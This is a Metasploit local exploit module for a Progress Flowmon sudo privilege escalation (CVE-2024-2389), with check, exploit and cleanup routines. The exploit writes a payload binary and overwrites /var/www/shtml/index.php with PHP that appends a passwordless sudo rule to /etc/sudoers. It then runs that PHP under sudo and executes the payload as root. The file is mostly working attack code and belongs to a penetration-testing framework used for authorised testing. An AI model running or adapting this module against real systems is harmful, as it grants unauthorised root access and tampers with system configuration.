# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Progress Flowmon Local sudo privilege escalation', 'Description' => %q{ This module abuses a feature of the sudo command on Progress Flowmon. Certain binary files are allowed to automatically elevate with the sudo command. This is based off of the file name. This includes executing a PHP command with a specific file name. If the file is overwritten with PHP code it can be used to elevate privileges to root. Progress Flowmon up to at least version 12.3.5 is vulnerable. }, 'Author' => [ 'Dave Yesland with Rhino Security Labs', ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'], ['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability'] ], 'DisclosureDate' => '2024-03-19', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [ REPEATABLE_SESSION ] }, 'SessionTypes' => ['shell', 'meterpreter'], 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [['Automatic', {}]], 'Privileged' => true ) ) register_options([ OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]), ]) end def check score = 0 score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon') score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface') score += 1 if exists?('/var/www/shtml/translate.php') vprint_status("Found #{score} indicators this is a Progress Flowmon product") return CheckCode::Detected if score > 0 return CheckCode::Safe end def on_new_session(session) super print_status('Cleaning up addition to /etc/sudoers') if session.type.to_s.eql? 'meterpreter' session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\"" elsif session.type.to_s.eql? 'shell' session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers' end end def cleanup super unless @index_php_contents.blank? print_status('Restoring /var/www/shtml/index.php file contents...') file_rm('/var/www/shtml/index.php') write_file('/var/www/shtml/index.php', @index_php_contents) end end def exploit @index_php_contents = '' fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR']) exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" vprint_status("Saving payload as #{exploit_file}") write_file(exploit_file, generate_payload_exe) chmod(exploit_file) register_file_for_cleanup(exploit_file) @index_php_contents = read_file('/var/www/shtml/index.php') print_status('Overwriting /var/www/shtml/index.php with payload') cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;') print_status('Executing sudo to elevate privileges') cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;') cmd_exec("sudo '#{exploit_file}'") end end